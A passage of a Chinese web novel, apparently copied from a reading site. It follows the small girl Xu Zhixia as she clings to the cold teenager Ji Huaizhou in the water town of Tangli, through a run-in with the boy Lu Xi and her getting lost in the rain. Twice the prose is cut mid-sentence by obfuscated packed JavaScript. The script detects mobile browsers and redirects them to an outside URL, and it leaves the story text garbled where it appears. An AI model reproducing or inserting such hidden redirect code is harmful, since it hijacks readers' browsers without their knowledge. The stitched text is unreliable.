他脖子没歪回去,目光停在她身上,似乎才想起来自己还带了个小孩儿。 过了好些秒,他腰一发力,突然起了身。 许织夏在这响动中惊醒,抬起脸,寻见他离开的背影,她马上爬起来,小碎步追上去。 水乡民居内部几乎都是木质结构,杉木板踩上去会有没垫实的响声。许织夏“嘎吱嘎吱”地在他身后,跟着他进了另一个房间。 中古木衣柜贴墙,柜门拉开吱一声响,古铜拉环落回去又是一阵咣当。 许织夏老老实实站在纪淮周后面,看他翻柜子里的东西。 “不是还跟我闹别扭么,把你丢下了。” 他语气很淡,但其实话是刻薄的,带着点奚落,奚落她缺心眼,知道自己被他骗了还要跟着他。 当然也有自嘲。 屋子里依旧很暗,还关着窗,看不清楚的时候,听觉就变得敏感起来。比如他开口说话,透着刚睡醒的倦懒,许织夏感受到他的声音融进了流动的空气里,包裹着她,在她周围圈出一个小小的保护罩。 这种安全的感觉盖过了他的损意。 许织夏低下脸,看了会儿地板,用小孩子稚嫩的声线,低低地说:“没关系……” 纪淮周动作顿住,回头看了她一眼。 可能是没想到她会在这时候讲话,尽管一直知道她不是小哑巴,但在此之前,她也只和他说过一句话。 也可能是他想不通,因为这小团子实在好欺负得不合常理,被卖了还能自己把自己给哄好。 他两次把她一个人扔下了,她还说没关系,声音像裹在棉絮里,一点脾气都没有。 不过纪淮周并没有太多反应,未几便掉头回去接着翻衣柜了。 地上有他打开的行李箱,房间里也有床,但只有一张。许织夏见他抖开条棉被,随便丢着铺到地上,又扯出个枕头,也要往地上扔。 许织夏先抬高了两条胳膊,从他手里接过来。 枕头的长度不比她的个子短多少,她抱着歪歪扭扭走过去两步,放下枕头摆好,再自觉坐到棉被上。 许织夏屁股还没坐热乎,转眼就被拎了起来。 她昂着脑袋,茫然地望向少年,微光里依稀看到他似笑非笑的表情。 “我在你这小孩儿心里也这么丧心病狂呢?” 纪淮周直接给她拽到床边上去,最后抽出条薄被,砰得甩上柜门,曲着条腿往棉被上一躺,胳膊肘压枕,后脑压在手腕上。 “还杵那儿吓鬼呢,能不能睡了?”他不愠不火问。 黑暗里他看不见,但许织夏还是点点头,小声回答:“能的……” 床不是很矮,许织夏双手攀着,膝盖够到床沿,费了点劲才爬上去,自己乖乖躺下,盖好被子。 “待过瘾了就走啊,”纪淮周的声音在深夜里,回荡着淡漠:“你要不跟他们过,儿童院就会来人给你接回去,我管不了你。” 他说着话,合上眼,窗框间透进几丝残破的月光,冰凉地落在他轮廓明朗的脸庞,皮肤是冷月的白。 许织夏手背贴住下巴,双手攥着被子边缘,露出细小的手指头。 脸蛋朝向他,在半明半暗的光线里,缓缓地眨着眼睛。 她不想回那栋别墅,更不想回儿童院,她只想听话地跟在他身边。 然后,等着妈妈回来接她。 - 天亮,阳光照进屋,被花窗切割成一格格起落的光影。 纪淮周一只手背压着额头挡光,一只手掌落在腹上,被子一部分褶在腰际,大半张拖到了地板外。 许织夏蹲在他枕头边,捏住他袖子的一点边角,扯了扯。 他不醒,皱着眉头翻了个身。 许织夏望望院子的方向,又望回来看着睡地板的少年,再小幅度扯了他两下,嗫嚅:“哥哥……” 或许是长期沉默导致,许织夏不太能流利表达,说话声也要比同龄的小朋友多一些柔软的鼻音。 她想他醒过来,又怕吵醒他,声音和动作都很轻。 好在纪淮周睡眠不沉,她叫一声,他就慢吞吞睁开了眼睛,后颈平陷在枕头里,似乎是有起床气,不想说话,只透出一声不耐的鼻息。 许织夏想告诉他外面有声音,但她不知道怎么说,于是抬手指了指。 纪淮周留意到了院子里铜拉环叩门的声音,困倦半眯着,一夜睡醒嗓子有些干哑:“谁啊。” 许织夏摇摇脑袋。 这小孩儿怎么老爱在他睡觉的时候缩在他边上。 纪淮周瞧了她片刻,眼睛又闭回去,清醒几秒,他扯开身上的被子,慢慢悠悠起了身。 许织夏踩着他的步子跟下楼。 一出屋子进了院,青瓦上鸟雀的啁啾变得清晰,隔着白墙有居民的招呼声,再远点隐约还有唱曲儿的。 天光明媚,昨夜沉眠的水乡在清晨复苏。 “阿玦——” 许织夏听出是周清梧的声音,在纪淮周去开门的时候,她没跟上去,躲到廊柱后面,悄悄朝那边看。 她表情明显地迷茫,害怕被带回去。 院门一拉就开了,周清梧意想中地出现在门口。 她往里面望了两眼,但没进来。 声音有距离,听不太清,许织夏不知道他们在讲什么,只看到纪淮周胡乱抓了几下蓬乱的狼尾长发,塌着肩颈懒洋洋倚住门框,显然没睡饱。 没两分钟,他耷拉着的脑袋往另一边歪了下,许织夏隐约听见他的声音。 “用不着陪我,她能做什么,能给我添堵么?” 过了会儿,他没了再听的心思,好像说了句:“就这么一次。” 他从周清梧手里接过打包袋,随后许织夏就见他带上门回来了。 “进来。” 他从身边经过,许织夏马上从廊柱后出来,跑过去,跟着他回了屋。 许织夏待过京市的福利院,也待过港区的儿童院,尽管小朋友手骨发育不完全,动作没那么利索,但只要踩张小凳子,她就能自己漱口洗脸,不需要帮忙。 纪淮周确实也没想着帮,自己随意收拾了下就出去了。 许织夏捧着没拧干的毛巾,笨拙地给自己擦了把脸,踮着挂好,然后走出卫生间去找他。 打包袋里是周清梧买的早餐,豆浆包子之类的,纪淮周往桌上一搁,撂下句吃饭,而后自己走到行李箱旁,从里面拽出件黑色飞行夹克,往背心外一套,应付了事。 许织夏不挑食,乖乖的很省心,一边捧着热气腾腾的大肉包子,腮帮子一鼓一鼓地吃,一边在纪淮周后面跟着他到处走。 出门也不用纪淮周提醒,他走在前面,许织夏就拉着他的衣袖,慢半步跟在后头。 他走到哪儿,许织夏就跟到哪儿。 来时慌张,天又黑,许织夏昨夜都无意留心,今天一出来,她才后知后觉自己到了个什么地方。 上午的空气清新凉爽,走在青石板铺就的长巷子里,清风送来不知哪家午饭的烟火香。 四周或是青砖黛瓦的房子,或是枕水木阁,走几步就有石拱小桥,桥巷相连,街依着街。 面面有河,河面有摇橹船悠哉地荡过,水是潋滟的青绿色,倒影着天空和树影,放眼望去,绿水望不见尽头。 一切都沉浸在悠闲和宁静里。 许织夏从未见过这样的风景,像一幅画卷,处处古韵。 她东张张西望望,仿佛到了一个全新的世界,这里是温柔的,没有京市干冷的压迫,也没有港区繁热的窒息,让她的心脏感觉到了前有未有的舒服。 路上纪淮周摸了下夹克,摸出一块遗留下的巧克力。 可能是放兜里膈应,他随手递给了许织夏。 穿过几个巷子和桥,纪淮周迈进了一座宅院。 宅檐下悬着块“修齐书院”的匾额,许织夏仰高了脸蛋去瞧,但她不认字,迷迷瞪瞪地就随他进去了。 江南的宅院讲究四水归堂,过了门庭和照壁,东西厢房和堂屋四合,中间围出一个方院子,叫作天井。 书院的天井要比正常住宅的天井宽敞,他们走到时,周清梧就坐在开放式堂屋前的太师椅上,和一位老先生谈笑。 “孩子正好也要读书,这里过去行舟很方便,行舟可是省一级重点,好学校啊!” “是,有您二老在,我就踏实了。” “安心,没问题的,棠里这地方偏是偏,但当地都是老实人,就陆家那小孙子皮,让俩孩子避着点他就是了。” 周清梧疑道:“四大家那个陆家?” 蒋惊春笑笑点头。 “听说陆老爷子与您交好。”周清梧说道。 “可不是吗,他孙子要升学了,就住老宅里头,这小鬼仗着没人敢惹他,成天在镇子里捣蛋。”蒋惊春无奈道:“那老家伙还要我帮忙管管,清梧你说句公道话,我哪里管得住?” 周清梧笑着说:“教书育人,谁都没您有本事啊。” “这个我教不了。”蒋惊春点了点天井正中央那只养鱼的搪瓷大缸,“砸坏我三个水缸了。” 他摆摆手:“我看伯符让一让,江东小霸王给他当好了。” 周清梧听得好笑,正聊得投机,见他们来了,她马上起身,招呼他们过去,郑重地介绍蒋惊春给他们认识。 没讲太多,只说蒋老先生一代宗师,是明廷至交之父,提醒他们该有的礼仪。 “你我之间还用见外啊,明廷可是我看着长大的!”蒋惊春不跟她客套,看向他们,带着平易近人的笑意:“叫阿公就好了,我就不爱那些规矩。” 纪淮周没搭腔的意思,事不关己揣着兜,没个正形。 许织夏赖着纪淮周一时半会儿不愿走,周清梧心悬一夜,怕刺激到许织夏,她不让明廷跟过来,只叫他问问这边有无人脉。 这一问才知道,蒋老夫妇讨清静,就住在棠里镇。 如果有这两位德高望重的长辈照看许织夏,周清梧心也能放下个七八成了,于是就让纪淮周带许织夏过来书院,认个人。 只是许织夏一见他们,就藏到纪淮周身后去了,脑袋都不愿意露出来。 这样子实在是太不尊重。 “宝宝……” 周清梧刚开口,蒋惊春先抬手压了压,示意她不要紧:“小姑娘嘛,怕生。冬青说给孩子们蒸些糕点,不晓得还要多久,我瞧瞧去。” 今日做客原本就是有求于他们,眼下这情形,周清梧更难为情了,便跟过去帮忙:“我来搭把手。” “阿玦,”周清梧回头说:“你陪妹妹坐会儿。” 纪淮周敛了敛下颔,吸口气闭上眼,气息再从鼻间沉沉呼了出去。 他对人与人往来这件事感到厌恶,但又被人情牵扯。 准确地说,是被许织夏这个黏人的小孩儿牵扯着。 经历过拔地而起的狂风,再遇见的微风细雨都变得可以忽略不计,纪淮周等得心烦,但情绪也没什么动荡。 短暂停留了片刻,他突然抬腿向外走。 许织夏不离他寸步。 预料到她跟着,纪淮周指住不远处一张藤木凳子,命令:“坐下,没我允许不准走。” 他没止步,径直出了书院。 许织夏想要和他一起,又没法不听他的话,追了他几步,不敢追出去,在原地扭捏。 看不见他了,她心里开始不安,可尽管如此,她还是乖乖退回去,坐到他指的那张小凳子上。 堂屋的匾额写着养正堂,匾额下挂着几幅字画,翘头案上陈放着两只青花瓷器。 天井除了一只搪瓷缸,还有几盆绿植,但四周依旧空落落。 只有许织夏自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726219|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他又丢下她一个人了吗? 天光下,许织夏坐着那张小凳子,攥住巧克力,眼巴巴地望着入门口。 “陆哥,借我显摆显摆呗,就两天!” 过了一小段时间,纪淮周没回来,倒是一帮穿同款校服的男生出现在了许织夏眼前。 许织夏的神经瞬间就吊起来了,紧绷地捏着那块巧克力,畏惧又迷惘地盯住那群人。 “你借的要是游戏机,陆哥都送你了,借航模你是真敢想。” “这东西陆哥这么宝贝?” “那是航模吗,那是陆哥的命!” 男生们在吵闹声中涌进书院。 许织夏体型小,坐的位置又不起眼,他们太投入,谁都没注意到她的存在,她就这么被挤着。 前面有人膝盖一顶,把许织夏手里的巧克力撞飞了出去。 “这航模是镶龙珠了?还是设计的人特厉害?” “那必须是人。” “何方泰斗啊?” “航联都称道的奇才,纪、淮、周!” 安静须臾,那男生哈笑一声:“我以为谁呢,不就一无名小卒!” 一直沉默的陆玺侧过脸,幽幽盯着他:“那是老子本命。” 说完,陆玺又一把抓起他的领子:“你再说句无名小卒试试?” 另外几个男生忙给拦下了。 “纪淮周你都不知道?IMAC赛史上唯一的三连冠!” “要不是前两年他回英国纪家了,没再参赛,今年的榜首也非他莫属!你怎么连陆哥偶像都没听过啊瓶子?” 瓶子反应过来,双手举过头顶:“陆哥,饶命……” 陆玺指着他的鼻子,语气冷冷淡淡,但脸在骂人:“认识你是上天对我的惩罚。” 其他同伴跟着红白脸对唱了起来,闹哄哄的。 这时,陆玺感觉到后背有个软绵绵的力道在推搡他。 他回头,身后惊现一小女孩儿。 许织夏被挤得瑟缩在小凳子上,眼珠子乌黑又水灵,长头发披散在耳朵边。因为坐着,她双腿消失在蜜桃粉睡裙下,个子本来就小,这么看着又矮了一截,格外呆萌有趣。 陆玺眼里的不爽顿时烟消云散,挥起胳膊:“哎哎哎!安静!别挤,都别他妈挤了!” “——这里有只小崽子!” 喧闹声戛然而止,男生们齐齐凑过去。 青春期都在猛长个,许织夏在中间就是个丁点大的小娃娃,她仰着脑袋见周围围了一颗颗人头,憋住呼吸,都不敢呼出气。 屁股离开了凳子几次,但她都坐回去了,缩起双脚,最后也没有跑走。 “叔公?哪来的小孩儿啊?”陆玺朝堂屋里喊了一声,没人出来。 他感到新奇,蹲到许织夏面前,瞧着她:“小妹妹,怎么自己坐这儿,妈妈呢?” 陆玺是典型的南方长相,面部线条并不尖锐,但他头发剃得刺刺的,都能看到头皮的青茬。 许织夏害怕的同时,也不太高兴。 因为他撞掉了纪淮周给她的巧克力,现在还踩着不挪脚。 许织夏想让他走开,腾出一只小手,推了一下陆玺的胳膊。 力道似有若无,陆玺蹲着纹丝不动。 陆玺捏捏小姑娘吹弹可破的脸蛋,夹起嗓子:“小可爱,想让哥哥陪你玩儿啊?” 同伴们笑着为他的自信喝倒彩。 瓶子忍不住道出真相:“陆哥,是你踩着人妹妹巧克力了。” 陆玺低头,鞋底下是块包装都被他踩扁的巧克力。 “……”陆玺警告瞪他一眼:“今天显着你了?” 瓶子立马封嘴。 陆玺咳嗽一声减缓尴尬,扭头问:“有零食没有?” “鸭脖不太行吧?” “我好像还有牛肉干来着。” 陆玺招手:“拿来都拿来!” 等他们翻书包的空当,陆玺一抬腿,鞋底擦着地面,把那块烂了的巧克力一脚踢远了。 许织夏一惊,远远望着被踢开的巧克力,瘪瘪嘴巴,眼睛都心疼红了。她习惯了受委屈,被欺负也向来不敢反抗。 许织夏攥住裙子,心跳扑腾。 正无措之际,一双黑灰配色的运动鞋悄无声息地,停在了巧克力寸步的距离。 许织夏往上看,眼睛忽亮,颤巍巍的心脏瞬间着陆到了实地。 男生们背对着都没察觉到,陆玺也没知觉,他蹲回许织夏跟前,夹着声继续跟她聊天:“不是和妈妈来的?那爸爸在哪儿啊?” 许织夏一瞬不瞬地望着那处,抬手指过去。 陆玺回头,视线顺着她指的方向。 只见少年左手插在裤袋里,右手垂落,指尖拎着听汽水,个子比他们都要高。 五官凌厉,形象很不正经,戴黑银兽面耳骨夹,狼尾半扎,额两边垂着短龙须刘海,背心虚掩在敞开的飞行夹克里。 浓郁的眼睛里无悲无喜,但一盯过来,就如同直视午夜的海面,黑蓝不明,又如同坠进了一口不见底的古井。 陆玺呆了几秒,脑子里就一个想法,这哥们没白瞎这张女友泛滥的脸。 真帅啊!野爹! “这你家小孩儿啊?”陆玺一步三摇晃地走过去,手臂一揽,勾住纪淮周的肩,嬉皮笑脸:“兄弟可以啊——” 纪淮周截住了陆玺要搭上来的手,骨节分明的手指扣着他的腕,反向一拧。 “啊、啊啊啊……” 陆玺佩服的尾音拐了几个弯,最后变成一声声惨烈的呼叫,痛得膝盖下弯,差点要跪到地上。 纪淮周指骨间使着狠劲,面上却跟个闲人似的站在那里,漫不经心别过脸,瞥向许织夏。 小女孩儿红着眼圈,懵懵张着口,明明早吓坏了,还一根筋坐在那里不走。 也可能是因为,他没有允许。 “害怕就赶紧跑。” 纪淮周下巴朝堂屋一扬,冲她轻描淡写了句,随后垂下眼睫,刚要收拾陆玺,身边就有“嗒嗒嗒”的声响在快速靠近。 他抬眼,见许织夏趿拉着拖鞋,不假思索跑向他。 她小小的身躯撞上来,牢牢抱住了他拎汽水的胳膊,脑袋顶在他腰侧,昂起表情憨萌的脸蛋,眨巴着眼,依赖地看着他。 纪淮周有片刻的无言以对,对视顷刻,他哼笑一声勾了下唇角。 “你往哪儿跑呢?” 9. 故人不在 许织夏望着他,满眼惶恐都被困惑取代。 她没觉得哪里不对,在得到允许后,她跑向他没有一丝犹豫,潜意识里认定了有他在就很安全。 纪淮周没计较,跟小孩儿没什么道理好讲的。 对待右手边的就不同了,这个被他捏住了根命脉,男高音似的直叫唤。 纪淮周胳膊一甩,给人扔出去了。 嫌吵。 陆玺摔过去的时候,男生们倏地绷紧脚尖,整齐划一后退了步,腾出的空地不宽不窄,正好够陆玺坐个屁股墩。 “嘶……”陆玺看见身后这帮人就来气,臀部使不上力,他抬手,对着他们指指点点半天,咬牙切齿挤出一句:“你们最好都还活着。” 男生们这才回魂,忙不迭你一搀我一架地把他扶了起来。 “没用的东西!”陆玺忍着痛骂道。 陆玺的恼骂像铆足劲的脚,一脚把他们从看台踹进了赛场。 “知道自己惹到谁了吗?” “你死定了!除非今天纪淮周在这儿!” “陆哥你都敢打,他可——”瓶子双手叉到腰上挺身而出,纪淮周凉凉的眼神扫过去,他一哆嗦,刚牛哄哄了下就缩回去了,但语气没能跟上脑子的反应:“可、可是神经病!” 陆玺一个巴掌甩到了他后脑勺。 这一掌下去,瓶子任督二脉都通了,随即脑袋又是一扬,跟头牛一样地动山摇地冲向纪淮周,要跟他拼命。 许织夏害怕,脸埋到了纪淮周胳膊后面。 纪淮周平静地看着逼近眼前的人,漫不经心吐出一个字:“滚。” 他冷淡的声音像块斗牛士隐形的红布,瓶子头往回一扭,冲回陆玺旁边,动作一气呵成:“陆哥,退一万步讲。” 陆玺睇着他,倒想听听他能讲出什么让人冷静的话。 瓶子大喘了口气:“他就打不着咱们了。” 陆玺手臂一下子就高举了起来,瓶子见状抱头逃窜,其他人赶紧一拥而上拉架。 这时堂屋的方向也有声音逐渐清晰。 “我们还没老糊涂,能教教她诗文,她要是感兴趣,也可以跟惊春学学书画,你就当送孩子上学了。” “这样当然好,就怕麻烦你们。” “这有什么麻烦的,冬青最喜欢小孩儿了,她巴不得孩子天天住这里……” 三人从灶房出来,一到堂屋,就见院子里乱成一团。 蒋惊春看是这帮小鬼,见怪不怪,放下两盘装着各种糕点的竹木方格盒:“还不消停,你今天是要把我这书院也拆了?” 陆玺见着人,松开瓶子的校服领子,咧嘴一笑走过去:“叔公叔婆!做什么好吃的了?” 他熟络得很,不客气地抓起块山药糕就一口塞进了嘴里。 “慢点。”蒋冬青一向心疼孩子。 蒋惊春平静但严厉:“以前就不提了,上周你把武馆镇馆的剑玩河里去了,人家现在还没捞上来!前天踢球,往孟老中药柜踢,赔了多少虫草?还有照相馆的橱窗,镇子口的早茶铺……大伙都告状到我这咯!” 闻言陆玺反而眼睛一亮,口齿含糊着,满怀期待地问:“我爸怎么说?” 蒋惊春说:“你爸这么忙,哪有闲工夫管你这些破事。” 陆玺不屑嘁声:“没意思。” 他拽了下斜跨身前的书包,扭头就走。 蒋惊春喊他:“来了又走,你干什么去?” “去游戏厅啊!”陆玺大摇大摆地走了。 蒋惊春头疼:“小小年纪不学好,下午返校!” 陆玺头都没回。 许织夏眨着眼,睫毛扑扇,陆玺经过她时,眼神瞬间变得宠溺,笑嘻嘻挥手:“考完试我再来找你玩儿啊妹宝!” 一抬头,撞上纪淮周那双狭长的冷眼。 陆玺双腿本能发软,这哥们长得顶,武力值也顶,怪让他后怕的。 他硬撑出气势,低声放狠话:“等着,我找人弄你!” 说着就掏出手机,边走边拨了通电话出去:“老乔,回国了来给我撑个场子……杭市啊,回什么沪城……不是,你得来!我特么让人给欺负了!” 一行人风风火火出了书院。 周清梧紧接着快步过来,担心问:“没闹矛盾吧?” 纪淮周压根就没把陆玺当回事。 那些年这么乱的港区他都待过了,街头正面交锋纹身染发的古惑仔,动的都是真刀枪,猖狂犯罪的南亚人他也冲突过不少。如果不是姓纪,又学过MMA,就他这性子,十条命都不够在那时的港区活的。 狼的世界容不下一头羊,想要生存必须成为最凶残的那只阿尔法。 纪淮周后来就是那只阿尔法。 港区当初只手遮天的帮派一把手,都称他是天生的坏种。 那个龙头对他另眼相待,有心收他当义子,造势要做他在港区呼风唤雨的靠山。 这事情最后当然没成。 他们见人就收保护费,又无恶不作,纪淮周瞧不起他们,更瞧不起他们内部虚伪的仗义。纪淮周也算不上好人,但他和他们最大的区别,就是独来独往,只要人不犯他,就能相安无事。 见的都是真枪实弹,所以相比陆玺这种程度的,在纪淮周看来,不过是毛头小子扮家家酒。 幼稚,无聊,不值得放眼里。 “人送到了,你带走。” 纪淮周语气不带情绪,眼皮也懒得撩一下,尾音没落就向院门偏过身。 见他要走,许织夏慌慌张张地追上去,扯住他衣袖,要跟他一起。 纪淮周显然没打算带着她,顿足回首看住她,给她时间放手。 “宝宝肯定吓着了,”周清梧虽然希望许织夏能和她回市区,但窥见她紧张的表情,所有安排都只能放一放:“阿玦,你先带她回去好了,书院的事不着急。” 纪淮周瞥一眼周清梧,没说话,也没任何反应,兀自抬腿走了。 他现在只想回那个破地方睡觉,至于这小孩儿,不吵他就都随便。 - 屋里的灯具依旧像个摆设,但白日有阳光,能照亮屋子里每个黑暗的角落。 纪淮周在睡觉,躺的还是昨晚打的地铺。 楼下和院子里都静得没有声响,许织夏坐在床沿,听着他的呼吸,有时看看窗外,有时看看他。 他睡着后就一直僵着眉骨,眉心紧皱。 或许记忆全是灰色的,哪怕是做梦都想象不出能让人放松精神的愉悦的事。 冗长一段时间过去,太阳像是电量不足,光从明媚渐渐降暗,天黑下来,窗外变得很阴沉。 许织夏屏住了气,心慌慌的,她滑下床,静静走到纪淮周边上,挨着他在地上坐下来。 纪淮周睁眼的时候,就看到腿边挤着一小团黑影,再看细了,意识到又是这小孩儿抱膝蜷曲在那里。 真就长他身上了,醒着要跟,睡着也甩不开。 纪淮周疲惫地阖回上眼,拖着鼻息,刚睡醒的声音带点烟嗓的感觉:“我长尾巴了?” 许织夏回头,发现他已经醒了,这才出声,低低道:“哥哥,天好黑。” 纪淮周能从声音里听出她在害怕,但他选择沉默。 不然呢,要他哄么? 又有谁来哄过他。 他自己都想不明白自己要什么,高浓度的酒,一个拥抱,还是能一了百了的枪。 几乎是被流放在港区的这些年,治安混乱,形单影只,他学会了打架斗殴,学会了让人闻风丧胆,没学会哄人。 纪淮周默不作声,起身下楼。 这个房子无论楼上楼下都是空空的,没几件家具,摆前屋中央的四仙桌就很显眼。 桌上丢着些零散的物件,以及一袋吐司。 纪淮周用腿勾近一把椅子,往后一坐,人懒洋洋靠进椅背,捞过吐司袋开始拆:“什么时候走。” 他坐着许织夏都不及他高,无声站在他旁边,指尖刮着自己的手心。 “今天不走?明天能不能走?”纪淮周递她一片吐司,无悲无喜问:“赖我这儿等谁呢?” 许织夏接过来,手指头捏着吐司边,过了会儿,很小声地说:“我想等妈妈……” 纪淮周又拿出片吐司,闻言顿了一下,没讲话,大口撕下半块吐司,脸部肌肉咬合拉扯着紧致锋利的下颔线。 剩下的半片吐司纪淮周没继续吃,他垂着眉眼,过半晌,突然说:“关我什么事。” 他扬睫,目光裹挟着几分残忍的尖锐,盯进她的眼睛:“你现在就两条路,要么跟那个阿姨一起生活,要么回儿童院去。” “你妈妈不要你了。” 四周昏暗,可到底是白天,和夜里不同,没有黑得暗无天日,还有亮度弥散在空气里,只是有些朦胧。 许织夏低着头,听到那句妈妈不要她了的瞬间,她眼底悄悄泛出一圈红。 纪淮周偏过脸,敛回部分视线,只用少许余光瞅她:“还有,告诉你,我不是什么好东西,你该怕的是我,趁小命还在赶紧走。” 他没心思再吃,丢下半片吐司。 “自己爱待哪儿待哪儿,别跟后面妨碍我。”纪淮周站起来,一字一句,咬字清晰:“听懂了么?” 没有恶声恶气,他甚至近乎平静,但态度是冻住的,像坚冰,有着能和凶画等号的冷漠。 他从来就不爱好好说话,不过此前都是爱搭不理,不着调的,让人觉得只是空架子,他并没有所谓。 所以在那个钝感的年纪,许织夏还是会赖着他。 可这回他明显认真了,认真得吓人。 哪怕是许织夏这样单纯的小朋友,都有点不太敢纠缠。 “嗯……”许织夏鼻腔逸出淡淡的哭腔,瓮声瓮气,却又很温顺。 纪淮周瞧了她一眼,面无表情离去。 木楼梯连续嘎吱几声,接着楼上的门砰得关响。 许织夏不再跟着他,只是一直静静望着,直到他背影消失在二楼的黑暗里。她垂下脑袋,看着手里的吐司,慢慢咬了一口。 她孤零零站在一楼晦暗不明的前屋里。 外面天阴着,但屋子里更暗,于是她朝亮堂的地方走出去,蹲坐到门口的台阶上,小口地吃着他给的那片吐司。 “喵呜……” 一丝几不可闻的叫声。 许织夏寻声抬起小脸。 院门没关严实,门口的墙头青瓦下,有一只小奶猫,背上有一块心形的橘花。 它也是孤零零的,四处嗅着,似乎是饿了。 许织夏新奇地眨眨眼,小猫的眼睛圆溜溜,汇聚过来,一人一猫对视着。 纪淮周进了那个堆放纸箱的房间。 木书桌抵着窗,窗户支开了,窗外临着河,河水在灰蓝色的天底下,像沉浮着一层银色鳞片。 他拿起桌上那叠图纸。 纸上密密麻麻都是手绘的航模制作图,阴翳的云团密集,天光越来越模糊,逐渐撑不住眼前复杂的铅绘痕迹。 不知过去多久,河面的鳞片一圈圈荡起波纹,上空蒙着薄薄的水雾。 又下雨了。 春雨连绵,还真是烟雨江南。 远离城市来到这儿,纪淮周就没想好好过日子,住进来前没叫人装电表箱,用不上电。 那时候时兴滑盖手机,哪怕他用的是国外高端品牌的智能触屏,也不带有手电筒功能。此刻整个房子里,能照明的只有一盏烛台。 翻着看了几张,没什么心思,纪淮周把图纸丢上桌,桌上的手机正好亮了屏,是周清梧的短信。 纪淮周没去看,只是留意到屏幕上的时间。 下午五点多了。 他后倚进靠椅里,状态浑浑噩噩,仰着脖颈,一合上眼帘,面前就浮现出那小孩儿的脸。 半明半暗中,她满眼委屈,但是不哭也不闹。 她越懂事,纪淮周心情就越烦躁。 蹙着眉闭目了几分钟,他睁眼,翻出只打火机,指腹擦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726220|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下砂轮,跳跃而出的火舌咬住烛芯,升起新的一簇火焰。 纪淮周托起烛台,去楼下。 烛光昏黄,照得前屋影影绰绰,没看见人,视线往院子里扫了一圈,也是空落落。 但院门敞着一小半。 纪淮周脸色倏地沉了下去。 确定人不在屋里,他搁下烛台,径直迈向院外。 镇子前街后巷相连,小桥遍布,走几步就分出新的岔路,各方向都有路可通。 阴雨天,路上几乎没了人,细雨朦胧,天色要比往常灰沉。小巷长街已有一些人家开了灯,暖橙光从雕花木格门窗稀稀落落地亮出来,显得街巷里更冷清了。 纪淮周疾步穿梭过几个巷口,经过某处时,捕捉到一声压抑的抽噎。 他忽而止步,回首。 找到许织夏的时候,她蹲在一只环卫垃圾桶旁。 桶盖子掀成了平角,和桶身架出了个只够小狗小猫避雨的空间,她就瑟缩在那盖子底下。 怯生生的,不知所措。 许织夏脸颊湿漉,泛着粉晕,眼眶里还含着水光,裙子和脸都脏兮兮。 她在这里蔫巴了很久,没下雨前,不远处的空地上还有几个小朋友在踢球,嘻嘻哈哈的笑声里,球滚过去,又飞旋过来。 许织夏想起了Felix. 她颤抖地抱紧自己,往里躲了些,害怕被发现。 后来下起雨了,他们朝各自的方向奔回了家,也有两个被撑伞而来的父母接走。 四周只剩下了她一个人,无家可回,无人来寻。 静静掉了会儿眼泪,许织夏终于看见了他。 她面前几步开外,是一堵马头墙,墙上高处用墨漆题了“棠里”两个大字,书法秀美,笔酣墨饱。 少年就站在这两个书法字下。 他眉头微微松开,但神情依旧凝重。 望见他,许织夏瞬间有了眼神光,茫然烟消云散。 她下意识想要跑向他,却只是动了动,没站起来,像是犯错了心虚,也像是不敢靠他太近,她不知道他是不是来找她的。 纪淮周抿唇,看住她片刻,才低沉出声。 “过来。” 他话一落,许织夏眼泪就控制不住地涌了出来,她立马从垃圾桶盖下钻出来,跑过去,撞进他怀里。 许织夏紧紧扯住他外套两边,委屈地哭出了声,脸埋在他腹前,一边呜咽,一边蹭他衣服。 纪淮周一时忘了反应,从港区到这里,他就没见她哭过,何况还哭得这么凶。 至于眼下为什么哭,他很难不以为是他话说得太重。 纪淮周没拉开她,给她哭了两分钟,但嘴上不温柔:“叫你不要跟着,叫你离家出走了?” 许织夏抬起头,一脸泪痕。 她摇晃了下脑袋,张开手心,给他看手里剩下的一点吐司,攥太久都瓷实了,很小一块。 “猫猫……”许织夏哽咽,四周张望几眼,那只小橘猫不知道去哪儿了,她又回过头来,磕磕巴巴地解释:“喂小猫……” 她词不达意,但纪淮周懂了。 大概是她喂猫的时候,一不留神出了院子,结果找不着回去的路了,无头苍蝇乱撞,越撞越远,下雨了无处可去,就躲在了这里。 雨滴答落了几滴到皮肤上,再一眨眼,猝不及防就下大了,噼里啪啦的。 出来没带伞,纪淮周自己无所谓,但带着个小孩儿走不快,回去弯弯绕绕也得有一段路,于是拽上她,就近找了个屋檐。 店关门了,没人住,廊檐下有盏仿古木灯笼,照下一圈清冷的橘光。 纪淮周曲敞着双腿,坐在台阶上。 许织夏挨他旁边站着,一抽一抽地吸着鼻子,捏住了他外套,将他袖子的布料捏出层褶皱,迟迟不放手。 走丢了,她还心有余悸。 后怕的心情猛烈,许织夏断断续续地哭啼,在等雨停,纪淮周正也无聊,听她哭得止不住,侧目瞧了她一眼。 许织夏以为自己乱跑惹他生气了,抬起衣袖把眼泪一抹,乖巧地对上他的目光。 纪淮周沉默地看着她。 他在港区,无论黑白人人视他为凶煞,见他都想绕道走,他被迫干过架,拿过刀枪,没被小孩子柔软的眼神注视过。 可就是有这么个小女孩儿,他再冷冰冰,也降不掉她对他依赖的温度。 “我活腻了,你也活腻了?”他淡淡戏谑。 许织夏不解地望着他。 纪淮周抬了下眉骨:“不怕我啊?” 许织夏老老实实摇头。 